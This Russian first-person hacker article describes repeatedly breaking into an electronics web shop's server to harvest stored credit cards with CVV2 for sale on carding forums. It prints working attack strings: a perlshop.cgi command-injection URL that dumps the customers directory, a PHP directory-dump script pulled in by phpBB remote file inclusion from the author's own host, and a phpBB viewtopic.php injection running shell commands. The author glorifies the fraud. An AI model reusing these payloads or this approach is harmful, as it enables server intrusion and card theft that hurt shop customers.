В
глубоком моем детстве, когда еще кучка уродов не развалила
СССР, услышал я фразу "Битва за урожай". И сейчас,
когда я пишу данную статью, понял я, что именно это фраза
и станет ее заглавием. Ты
наверное знаешь, что заработок хакера, дело эпизодическое
и непостоянное, в то же время деньги на еду, пиво и другие
радости нужны всегда. Большинство клиентов, обращающихся
ко мне просит взломать сразу paypal.com или ebay.com, предполагая,
наверное, что как минимум божественное происхождение хакеров
и мое в частности. Постоянно же иметь свои кровные хакер может только в случае
если получит постоянный доступ к торговым тележкам нескольких
средних магазинов, ежедневно снимая урожай с них и обменивая
его на вечнозеленые единицы на одном из кардерских форумов,
например таких, как Carder-World.ru. Сегодня усилиями ФСБ
закрыты практически все кардерские форумы, в том числе и
Carder-World.ru
, лучше б вахабитов и боевиков ловили, "герои плаща
и кинжала". И
я хочу рассказать историю про долгое состязание с админом
одного такого шопа, торгующего электроникой. Эпизод первый. Больше года назад обнаружил я уязвимость в скрипте perlshop.cgi
version = 3.1 http://www.xakep.ru/post/21567/default.asp суть бага заключалось в том, что можно было выполнять команды
на сервере: /perlshop.cgi?ACTION=enter&thispage=|ls;&ORDER_ID=!ORDERID! просмотр исходника показывал что открытие файлов в директории
catalog происходит без проверки на символы | ; if
(defined($input{'THISPAGE'})) { ### Send a catalog page
back with the unique ID set $prev_page = ""; $next_page= ""; if ($add_navigation eq 'yes') { $catalog_page = "$catalog_directory/$input{'THISPAGE'}"; if (-e $catalog_page) { open(TEMPLATE, $catalog_page) || &err_trap("cannot
open template file: $catalog_page"); $temp = <TEMPLATE>; if ($temp =~ /<(\!\-\-)?PSTAG\s+prevpage\s*=\s*\"?([^\"]+?)\"?\s+nextpage\s*=\s*\"?([^\"]+?)\"?\s*(\-\-)?>/i Просмотрев
все бажные шопы, мне удалось найти один, в котором админ
не смотря на запрет, сохранял кредитные карты с cvv2. Зная,
что база с кредами храниться по умолчанию в директории customers,
я ежедневно забирал новый урожай таким нехитрым способом: /perlshop.cgi?ACTION=ENTER&thispage=|cat%20customers/*;&ORDER_ID=!ORDERID! К сожалению на сервере не было ни wget ни links, залить
shell и закрепиться там я не мог. Но
счастье мое длилось недолго, спустя три месяца админ шопа
почувствовал неладное, и однажды загрузив урл вместо кред
я увидел "птицу Обломинго". Админ сменил тележку
на version = 4.4.0. Найдя ее в инете и просмотрев исходники
я понял, что с ней мне радости не будет, | резался: open(TEMPLATE, $catalog_page) or error_trap("cannot open template file $catalog_page
: $!"); ---------- удалено ---------- # Remove invalid characters from the THISPAGE parameter $input{'THISPAGE'} =~ s/[|()<>;&]//g; Правда в скрипте нет проверки на "null-byte poison".
Но это как я понял, связано с тем что thispage в скрипте
должен открывать файлы только из catalog - open(TEMPLATE,
$catalog_page). Эпизод
второй. Голод и холод заставляет людей думать интенсивнее. Поняв,
что главный вход мне отрезан, я решил проверить запасной.
Пробив ip сервера я увидел, что на нем числятся еще сто
с лишним сайтов. Это уже давало шанс. Началась
тупая работа по просмотру сайтов. И вот на одном из них
обнаружился PhpBB 2.0.1. Найдя описание бага я быстро сваял
functions_selects.php подгружаемый бажным скриптом форума
install.php: <?php $handle=opendir(' /'); echo "Directory handle: $handle\n"; echo "Files:\n"; while ($file = readdir($handle)) { print "$file\n"; $f=fopen("/$file","r"); fpassthru($f); } closedir($handle); ?> Залив его к себе на сайт durito.narod.ru в директорию includes
и выполнив команду /forum/install.php?m=http://durito.narod.ru/ я получил листинг
корня. Изменяя путь и заливая измененные файлы на durito.narod.ru
я добрался до заветной директории customers и ее богатств.
Жизнь налаживалась. Но
ненадолго, через пять месяцев бажный форум исчез. Эпизод
третий. Кушать хочется всегда. И я стал опять шерстить сайты сервера
на наличие багов. И вновь удача PhpBB 2.0.8. А тут как раз
обнаружена sql-инъекция в форумах до PhpBB 2.0.10. Разобравшись
с описанием уязвимостью я вновь попадаю во внутрь сервера.
Но здесь меня ждал первый облом, папка customers оказалось
пустой. Второй облом не заставил себя ждать, просмотр файлов
в юзерских директориях /home/имя_юзера/ тоже закрыли. Просматривать
файлы можно было только в /public_html/. Тогда я решил глянуть
исходники perlshop.cgi и понял почему не было кред. Админ
перенес базу в /home/ имя_юзера/data/customers, к счастью
я имел возможность просматривать содержимое в ней. Открыв
viewtopic.php?t=7&highlight=%2527.$poster=%60$cmd%60.%2527&cmd=cat%20/home/
имя_юзера/data/customers/*; я очень удивился, в базе лежало всего 2 креды. Решив, что
шоп разорился, я ушел спать. Через несколько дней я вернулся, и так же увидел, что в
тележке лежит несколько кред, но это были ДРУГИЕ КРЕДЫ!
Я начал вести наблюдение за хранилищем и понял что около
7.30 утра админ удаляет все данные о транзакциях за сутки
из папки customers, исключение делалось только в воскресение,
так что это был единственный день в неделе когда я не вставал
в 7 утра и не бежал к компу, что бы забрать урожай быстрее
админа. Так мы с ним жили "душа в душу" еще полгода,
я вставал на полчаса раньше его, а как гласит народная пословица:
"кто рано встает - тому бог подает". И
вот вчера, какая-то сволочь, вместо PhpBB 2.0.8 поставила
на своем сайте vBulletin Version 3.0.8. И опять розовая
птица Обломинго махнула мне крылом. Но хакер - птица терпеливая
и Main Kampf за урожай с админом еще не завершен. З.Ы.
Бой продожается, сегодня я нашел еще одну дырку у хостера,
но о ней раскажу потом Твой
bug Durito. _________________ EAT THE RICH! |